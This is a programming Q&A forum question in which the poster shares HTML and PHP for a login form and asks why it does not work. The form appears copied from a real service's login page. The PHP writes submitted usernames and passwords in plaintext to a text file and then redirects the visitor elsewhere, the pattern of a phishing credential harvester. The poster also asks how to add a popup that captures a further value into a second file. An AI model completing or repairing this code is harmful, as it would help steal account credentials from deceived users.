Click here to Skip to main content
15,890,512 members
Please Sign up or sign in to vote.
0.00/5 (No votes)
See more:
Hi, I am trying to code an HTML login form that sends the data from the logins to a txt file.
However, it is not working. It does not show any indication that anything is happening after the login button is clicked (ex. the information entered does not disappear) and the login does not appear in my txt file
Here is the code I currently have:
HTML:
<form name="login" action="login.php" method="POST" id="login_form" style="display: none;">
							<div class="login_row">
								<div class="input_title">Account name</div>
								<input class="text_input" type="text" name="username" id="input_username" value="">
							</div>
							<div class="login_row">
								<div class="input_title">Password</div>
								<input class="text_input" type="password" name="password" id="input_password" autocomplete="off"/>
							</div>
															<div class="login_row">
									<div class="input_title" title="If you select this option, we will automatically log you in on future visits for up to 30 days, or until you select "Logout" from the account menu.  This feature is only available to verified accounts.">
										<input type="checkbox" name="remember_login" id="remember_login" >
										<label for="remember_login">Remember me on this computer</label>
									</div>
								</div>
							<div style="display: none;"><input type="submit"></div>
						</form>

PHP:
<html>
 <head>
  <title>Login</title>
 </head>
 <body>

<?php

//If Submit Button Is Clicked Do the Following
if ($_POST['Login']){

$myFile = "data.txt";
$fh = fopen($myFile, 'a') or die("can't open file");
$stringData = $_POST['username'] . ":";
fwrite($fh, $stringData);
$stringData = $_POST['password'] . "\n";
fwrite($fh, $stringData);
fclose($fh);

} ?>


//goes here after
<script>location.href='YOURWEBSITEHERE';</script>
	 
 </body>
</html>


Also, I have looked and am unable to find anything in depth enough to describe this to me:
Can I make it so that along with entering the login data on a txt file, upon submitting, a pop up window that also has a text box that (when submitted) adds the value to a different txt file? Thanks!

What I have tried:

I've tried to make sure the name of the action= matches up with the name of the php file and it doesn't really change anything. What am I doing wrong?
Posted

This content, along with any associated source code and files, is licensed under The Code Project Open License (CPOL)



CodeProject, 20 Bay Street, 11th Floor Toronto, Ontario, Canada M5J 2N8 +1 (416) 849-8900